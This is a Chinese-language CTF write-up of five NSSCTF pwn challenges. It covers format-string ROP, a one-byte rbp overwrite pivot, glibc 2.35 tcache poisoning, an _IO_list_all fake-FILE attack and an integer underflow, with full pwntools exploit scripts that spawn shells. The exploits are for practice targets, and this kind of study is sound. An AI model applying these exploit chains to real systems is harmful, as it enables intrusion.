这个没打,终于在习场找到了。不过还是花金币的。这些日子登录也挣了不少,差不多够玩一阵子的。可以下附件也需要30,而pwn在一定时间内还打不成,又花30,5个题下来200多。真够黑的。
这个比赛一共5个题。感觉其中第3题最难,第1,5题最容易。
1 fmt_checkin
先看下代码,这题也就这么一点。
int __cdecl main(int argc, const char **argv, const char **envp)
{
uint a; // [rsp+Ch] [rbp-4h] BYREF
a = 0;
init();
puts("Welcome to NSSCTF");
puts("This is a checkin,you can do it!");
puts("How many bytes would you like to send");
__isoc99_scanf("%d", &a);
if ( (int)a > 10 )
{
puts("too long");
exit(0);
}
while ( 1 )
{
puts("please send your payload");
read(0, buf, (size_t)&a);
if ( !strncmp(buf, "quit", 4uLL) )
break;
printf(buf);
}
return 0;
}
先输入长度,不能大于10,然后输入到buf(buf在bss不在栈上),这是个不在栈上的格式化字符串漏洞,没有rbp链,只能用argv链。没有次数限制。
先泄露地址,然后移一下指针写一字节ROP数据,循环写完就OK了。
坑点是程序里 read(0,buf,(size_t)&a);这样是写不了数据的,正常情况下是read(0,buf,a);你不能传个地址过去会造成死循环但不读数据。虽然难度不大但这个坑比较黑,谁能想到题目给的附件还需要纠错。
from pwn import *
libc = ELF('./libc.so.6')
context(arch='amd64', log_level='debug')
#p = process('./fmt_checkin') #附件有问题 read(0,buf,&a);应为read(0,buf,a);本地无法正常运行
#gdb.attach(p, "b*0x40135d\nc")
p = remote('node4.anna.nssctf.cn', 28125)
p.sendlineafter(b"send\n", b'-1')
p.sendafter(b"please send your payload\n", b"%9$p,%16$p,")
libc.address = int(p.recvuntil(b',', drop=True),16) - 0x29d90
stack = int(p.recvuntil(b',', drop=True),16) - 0x110
off = (0xee8 - 0xdc0)//8 + 6
pop_rdi = libc.address + 0x000000000002a3e5 # pop rdi ; ret
bin_sh = next(libc.search(b'/bin/sh\0'))
system = libc.sym['system']
print(f"{libc.address = :x} {stack = :x}")
pause()
rop = flat(pop_rdi+1,pop_rdi,bin_sh,system)
#16->#45->rop
p.sendafter(b"please send your payload\n", f"%{stack&0xffff}c%16$hn")
for i,v in enumerate(rop):
p.sendafter(b"please send your payload\n", f"%{(stack+i)&0xff}c%16$hhn")
if v==0:
p.sendafter(b"please send your payload\n", f"%{off}$hhn")
else:
p.sendafter(b"please send your payload\n", f"%{v}c%{off}$hhn")
p.sendafter(b"please send your payload\n", f"quit\0")
p.interactive()
#NSSCTF{Wow!!!you_pwn_it!!!you_will_become_the_best_pwnner}
'''
0x00007fffffffddc0│+0x0000: 0x0000000000000000 ← $rsp
0x00007fffffffddc8│+0x0008: 0xffffffff00000000
0x00007fffffffddd0│+0x0010: 0x0000000000000001 ← $rbp
0x00007fffffffddd8│+0x0018: 0x00007ffff7c29d90 → mov edi, eax <- stack
0x00007fffffffdde0│+0x0020: 0x0000000000000000
0x00007fffffffdde8│+0x0028: 0x0000000000401277 → <main+0> endbr64
0x00007fffffffddf0│+0x0030: 0x0000000100000000
0x00007fffffffddf8│+0x0038: 0x00007fffffffdee8 → 0x00007fffffffe239 → "/home/kali/ctf/0428/fmt_checkin/fmt_checkin"
0x00007fffffffde00│+0x0040: 0x0000000000000000
0x00007fffffffde08│+0x0048: 0x5824363c1a41b945
0x00007fffffffde10│+0x0050: 0x00007fffffffdee8 → 0x00007fffffffe239 → "/home/kali/ctf/0428/fmt_checkin/fmt_checkin"
'''
2 Beautiful_Girl
这个感觉有点难度
int __cdecl main(int argc, const char **argv, const char **envp)
{
unsigned int v3; // eax
int v5; // [rsp+Ch] [rbp-14h]
unsigned int v6; // [rsp+1Ch] [rbp-4h]
v3 = time(0LL);
srand(v3);
init();
hello();
v6 = choice(); // 可输入负数?
gift(v6); // 给stdin
(&pw)[v6] = (char *)Voice(); // 泄露rbp
v5 = rand(); // 栈深
if ( !strstr((&pw)[v6], "love") && v5 % 3 )
{
printf("no,she hates you so much!!!");
}
else if ( v6 )
{
if ( v6 == 1 )
puts("BabyZhu very like you");
else
puts("BabyJi very like you");
}
else
{
puts("BabyYu very like you");
}
return 0;
}
char *__fastcall Voice()
{
char v1[512]; // [rsp+10h] [rbp-210h] BYREF
char buf[16]; // [rsp+210h] [rbp-10h] BYREF
puts("You can introduce yourself first");
read(0, buf, 0x11uLL); // 利用尾字节覆盖rbp在返回里造成移栈,执行rop
printf("hello,girl,I'm %s\n", buf);
puts("Is there anything you'd like to say???");
read(0, v1, 0x200uLL);
printf("you say %s\n", v1);
return v1;
}
大体思路很容易,但作起来很晕。程序先是泄露的stdout也就得到了libc,然后在Voice里read(0,buf,0x11);多出来一字节可以覆盖到rbp,这样修改了rbp之后,返回到main,main退出时会发生移栈。只需要调整rbp的尾字节就可以达到移栈执行v1里的ROP的目的。
但有个问题,Voice退出后会执行rand,strstr,printf/puts这些会覆盖一些栈空间。而只修改1字节最大向前移栈的空间也就0x100,这些函数在调用的时候会占用0x88,再加上修改的那个指针是main返回时的地址还差0x20,所以猜只有当rbp尾号在0xb0-0xd0里才会成功。
另一个问题是 (&pw)[v6] = (char *)Voice(); 会把返回值传给pw[v6]而v6在rbp前,所以这里不能是大数,当这里写libc的地址时就会溢出崩掉。这里用elf里的ret滑动到ROP。为提高命中率要尽量大,但又要防止ROP被strstr或puts覆盖。最后需要爆破几次恰好遇上一个合适的值才能成功。
本地调试要打开随机化,不然永不成功。恰好那个值很小。
from pwn import *
context(arch='amd64', log_level='debug')
libc = ELF('./libc-2.23.so')
#p = process('./pwn1')
#gdb.attach(p, "b*0x4008f2\nc")
p = remote('node4.anna.nssctf.cn', 28998)
p.sendlineafter(b"Which beauty do you want to choose: ", b'1')
p.recvuntil(b"can give you ")
libc.address = int(p.recvline(), 16) - libc.sym['_IO_2_1_stdout_']
print(f"{libc.address = :x}")
ret = 0x400aed
pop_rdi = 0x0000000000400b53 # pop rdi ; ret
bin_sh = next(libc.search(b'/bin/sh\0'))
system = libc.sym['system']
one = libc.address + 0x45226
#覆盖rbp尾字节(当尾字节是c0时)main.leave_ret时移栈执行rop
#strstr 会覆盖掉尾部0x88 且当main.rbp(Voice+0x20)>=0xe0时覆盖的指针为rbp尾字节>00无法前移栈
#爆破1/16
p.sendafter(b"You can introduce yourself first", b'\x00'*0x11) #rbp = xc0
p.sendafter(b"Is there anything you'd like to say???\n", b'love'.ljust(0x100,b'\x00')+p64(ret)*11 +flat(pop_rdi, bin_sh, system))
p.sendline(b'cat /flag')
p.interactive()
3 want_girlfriend
这题作了两天。
一个堆题,还是高版本2.35
main有4个菜单
- creat建堆块,大小在0x8c到0x103之间,然后在0,0x10分别可写入0x10,0x20字节,但是先写入buf再用strcpy,所以中间不能用\0。同时用flag为标记每次加1,但只有不为1时才能建块。并且块指针存在new,只能存1个。
__int64 creat()
{
int v1; // [rsp+Ch] [rbp-34h] BYREF
char buf[40]; // [rsp+10h] [rbp-30h] BYREF
unsigned __int64 v3; // [rsp+38h] [rbp-8h]
v3 = __readfsqword(0x28u);
if ( flag == 1 )
{
puts("no,You can only have one girlfriend!!!");
return 0LL;
}
else
{
while ( 1 )
{
puts("Please input her height:");
__isoc99_scanf("%d", &v1);
if ( v1 > 0x8C && v1 <= 0x103 )
break;
puts("Are you sure???");
}
new = (char *)malloc(v1);
if ( !new )
exit(0);
puts("Please input her name");
read(0, buf, 0x10uLL);
strcpy(new, buf);
puts("Plese input her describe");
read(0, buf, 0x20uLL);
strcpy(new + 16, buf);
return (unsigned int)++flag;
}
}
- abandon 删除块,当输入Y里会free掉块,会让flag减1但并不清指针。
unsigned __int64 abandon()
{
char buf[4]; // [rsp+4h] [rbp-Ch] BYREF
unsigned __int64 v2; // [rsp+8h] [rbp-8h]
v2 = __readfsqword(0x28u);
puts("Are you sure you want to abandon her now???");
read(0, buf, 3uLL);
if ( buf[0] == 'Y' )
free(new);
else
puts("If you leave, I will life and death dependency.");
--flag;
return v2 - __readfsqword(0x28u);
}
- show 这里没有可看有,用write输出很人性。
- love这个很特殊,当flag<=0时会删前0x18字节,当flag=1时可向new+0x38输入0x20字节。
int love()
{
int result; // eax
if ( !new )
return puts("???");
if ( flag <= 0 )
{
puts("If you abandon her, the best love is forgetting");
*(_QWORD *)new = 0LL;
*((_QWORD *)new + 1) = 0LL;
result = (_DWORD)new + 16;
*((_QWORD *)new + 2) = 0LL;
}
else
{
puts("Please input your love");
return read(0, new + 0x38, 0x20uLL);
}
return result;
}
找了半天,这里边有两个漏洞点:
- 在建块里选读入内存再strcpy写入块,这时内存的残留会被带入,经调整在0x8,0x18处分别有elf地址和栈地址。
- free时没有清指针,对于高版本的libc需要清fd,然后再free,这时的love正好能清指针。但这时不会形成loop。只会影响到tcache计数,当超过7个后就会进入unsort
大体思路:
- 建个块,输入8,0x18字节将栈时的残留带入堆中,show得到elf,stack
- free掉块再show,得到heap
- 先建个底防合并,再利用tcache存的值在原位建块并free 7次填满tcache(每次用love清指针)
- 再次free进入unsort这里unsort与0xc0块重叠。
- 建0xa0块(用unsort),free后恢复key,再建写入栈地址。使得0xc0块的fd指向栈(tcache attack)。
- 由于love只能向+0x38处写0x20字节,又由于需要建块时有size头标记,在最后有效的ROP只能写16字节,不能实现system,所以在这里写rbp+leave ret将栈移一堆空间。
- 本地的话,在堆里写ROP就行了,0x20字节正好够用。但远程发现不行。多次猜和试,估计是因为调用system里用的栈空间不够。所以在后部新建个大块写ROP
完整代码
from pwn import *
context(arch='amd64')
libc = ELF('./libc.so.6')
elf = ELF('./pwn1')
#p = process('./pwn1')
p = remote('node4.anna.nssctf.cn', 28019)
flag = 0
def add(size, msg1=b'A',msg2=b'B'):
global flag
p.sendlineafter(b"Please input you choice: \n", b'1')
p.sendlineafter(b"Please input her height:\n", str(size).encode())
p.sendafter(b"Please input her name\n", msg1)
p.sendafter(b"Plese input her describe\n", msg2)
flag += 1
def free(s = b'Y'):
global flag
p.sendlineafter(b"Please input you choice: \n", b'2')
p.sendlineafter(b"Are you sure you want to abandon her now???\n", s)
flag -= 1
def show():
p.sendlineafter(b"Please input you choice: \n", b'3')
def backdoor(msg=b'C'):
p.sendlineafter(b"Please input you choice: \n", b'520')
if flag<=0: return
p.sendafter(b"Please input your love\n", msg)
#将buf里的残留带入堆中,泄露elf,stack
add(0xc0, b'A'*8, b'B'*0x18)
show()
p.recvuntil(b"A"*8)
elf.address = u64(p.recv(8)) - 0x1389
p.recvuntil(b'B'*0x18)
stack = u64(p.recv(8)) - 0x40 #buf + 0x10 stack+0x38 = libc_start_main_ret
print(f"{elf.address = :x} {stack = :x}")
#泄露heap地址
free() #tcache:c0
show()
p.recvuntil(b"Your girlfriend is ")
heap_base = u64(p.recv(8)) <<12
key = p.recv(8)
print(f"{heap_base = :x}", 'key=', key.hex())
#free未清指针,free 7次填满tcache
add(0xb0, flat(0,0xd1), flat(0,0,0,0xd1)) #防止unsort 和top_chunk合并
free(b'N')
add(0xc0)
for i in range(7):
free()
backdoor()
#第8次free进入unsort并得到libc地址
free() #unsort
show()
p.recvuntil(b"Your girlfriend is ")
libc.address = u64(p.recv(0x10)[8:]) - 0x21ace0
print(f"{libc.address = :x}")
#gdb.attach(p, "b*0x555555555583\nc") #free
#用unsort建0xa0,0xa0与0xc0重叠
add(0xa0) #unsort
free() #free 时恢复key
#重建0xa0写入fake_fd 指向栈 main的返回地址-0x10
add(0xa0, p64((heap_base>>12)^stack))
#让flag回到0
for i in range(6):
add(0xd0, b'\x00', flat(0,0xd1,0,0xd1))
#在buf里存个标记,防止tcache建块是头检查报错
add(0xc0, b'flag\x00', flat(0,0xd1,0,0xd1))
leave_ret = elf.address + 0x14f5
ret = leave_ret + 1
pop_rdi = libc.address + 0x000000000002a3e5 # pop rdi ; ret
pop_rsi = libc.address + 0x000000000002be51 # pop rsi ; ret
pop_rdx = libc.address + 0x00000000000904a9 # pop rdx ; pop rbx ; ret
pop_rcx = libc.address + 0x000000000003d1ee # pop rcx ; ret
bin_sh = next(libc.search(b'/bin/sh\0'))
system = libc.sym['system']
syscall = libc.sym['getpid'] + 9
one = libc.address + 0x50a47
free(b'N') #flag--
add(0xc0, b'A', p64(stack+0x30)) #建到栈内,并保持原rbp不变
#向栈内main的返回地址写 ROP移栈
backdoor(flat(0, heap_base+0x970+0x38-8, leave_ret)) #stack libc_start_main_ret=leave_ret
#新建个块,写ROP,如用原0x2a0的块在远程里不成功,估计是因为堆作为栈空间时向前的大小不够大
free(b'N')
add(0x100)
backdoor(flat(pop_rdi+1, pop_rdi, bin_sh, system))
#backdoor(flat(pop_rcx, 0, one)) #one要求rsp&0xf==0 one要落在8上
p.sendlineafter(b"Please input you choice: \n", b'4')
p.interactive()
#NSSCTF{b47263aa-b600-413b-b760-23c54e96ac86}
4 Heresy
又一个高版本libc的堆题,不过这题要比上一题容易多了。add,free都没有问题。
在指针区有个结构:0:name(0xf), 0x10:size(4),0x14:inuse(4),0x18:ptr(8)
这里不仅free时会清批针,还用inuse作检查,本身没有任何问题。
问题在于edit1函数可以修改指针结构的name,先输入1个字节,从name里找到后换成新字节。
这个strchr函数当输入\0时,不会返回未指到,而是正常返回尾部\0的地址。
所以这题就简单了,找\0无成字节,这样name和size连在一起再找一次就可以把size改大,可以写溢出。
有了写溢出,可以覆盖指针,tcache attack后边很容易。按照板子的打法,这里向_IO_list_all写fake_file的地址。最后利用show 时id过大来调用 exit 来触发。
int sub_16C9()
{
int result; // eax
char *v1; // rax
char buf; // [rsp+Ah] [rbp-6h] BYREF
char v3; // [rsp+Bh] [rbp-5h] BYREF
int v4; // [rsp+Ch] [rbp-4h]
result = dword_4020;
if ( dword_4020 )
{
v4 = read_id();
puts("Which name do you want to change");
read(0, &buf, 1uLL);
if ( strchr((const char *)&unk_41C0 + 32 * v4, buf) )
{
puts("A new letter!!!");
read(0, &v3, 1uLL);
v1 = strchr((const char *)&unk_41C0 + 32 * v4, buf);
*v1 = v3;
puts("YES");
return --dword_4020;
}
else
{
return puts("NO");
}
}
return result;
}
from pwn import *
context(arch='amd64', log_level='debug')
libc = ELF('./libc.so.6')
#p = process('./pwn4')
p = remote('node4.anna.nssctf.cn', 28890)
def add(size, name, msg):
p.sendlineafter(b"choice>>\n", b'1')
p.sendafter(b"Enter your name\n", name)
p.sendlineafter(b"Enter your size\n", str(size).encode())
p.sendafter(b"Enter your content\n", msg)
def free(idx):
p.sendlineafter(b"choice>>\n", b'2')
p.sendlineafter(b"Enter the id you want to query\n", str(idx).encode())
def show(idx):
p.sendlineafter(b"choice>>\n", b'3')
p.sendlineafter(b"Enter the id you want to query\n", str(idx).encode())
#strchr可以越界,将尾部\0替换,2次将size \x18\x00 替换为\x18\x41 实现写溢出
def backdoor(idx, ch1,ch2):
p.sendlineafter(b"choice>>\n", b'4')
p.sendlineafter(b"Enter the id you want to query\n", str(idx).encode())
p.sendafter(b"Which name do you want to change\n", ch1)
p.sendafter(b"A new letter!!!\n", ch2)
def edit(idx,msg):
p.sendlineafter(b"choice>>\n", b'5')
p.sendlineafter(b"Enter the id you want to query\n", str(idx).encode())
p.sendafter(b"Edited content\n", msg)
add(0x18, b'A'*15, b'B') #0
for i in range(5):
add(0x100, b'A', b'B') # 1-5
backdoor(0, b'\0', b'A')
backdoor(0, b'\0', b'A') #size \x18\x00 -> \x18\x41
edit(0, b'A'*0x18+p64(0x441))
free(1)
edit(0, b'A'*0x20)
show(0)
p.recvuntil(b"A"*0x20)
libc.address = u64(p.recv(6)+b'\0\0') - 0x21ace0
print(f"{libc.address = :x}")
edit(0, b'A'*0x18 + p64(0x441))
add(0x100, b'A', b'A') #1
add(0x100, b'A', b'A') #6
free(1)
free(2)
edit(0, b'A'*0x20)
show(0)
p.recvuntil(b"A"*0x20)
heap = u64(p.recvuntil(b'1.Create', drop=True).ljust(8, b'\x00'))<<12
print(f"{heap = :x}")
edit(0, b'A'*0x18 + p64(0x111) + b'A'*0x108 + p64(0x111) + p64(libc.sym['_IO_list_all']^(heap>>12)))
fake_file_addr = heap + 0x3d0
# ref: https://blog.csome.cc/p/houseofminho-wp/
fake_file = flat({
0x0: b" sh;",
0x28: libc.symbols['system'],
0xa0: fake_file_addr-0x10, # wide data
0x88: fake_file_addr+0x100, # 可写,且内存为0即可
0xD0: fake_file_addr+0x28-0x68, # wide data vtable
0xD8: libc.symbols['_IO_wfile_jumps'], # vtable
}, filler=b"\x00")
add(0x100, b'fake_file', fake_file)
add(0x100, b'fake_file_addr', p64(fake_file_addr))
show(8) #exit(0)
p.interactive()
5 Za1Yunti4n
这是个充数题,不用写代码。感觉可以放到逆向里。用c++写的代码,代码量大且极其难懂,菜单还都是汉字,不过IDA也能显示汉字。一点点啃。
有5个菜单项,但仅有2,4有用。
2是买工坊,仅1 web可用,会减520,这里是唯一漏洞,不检查原始金钱数,会减成负数。
4是买小卖部,原始资金是1000,小卖部10000(无符号数)前边减成负数这里就直接成功,然后就system(/bin/sh)了。具体操作如下:
2 1 yes (-520)
2 1 yes (-520)
4cat flag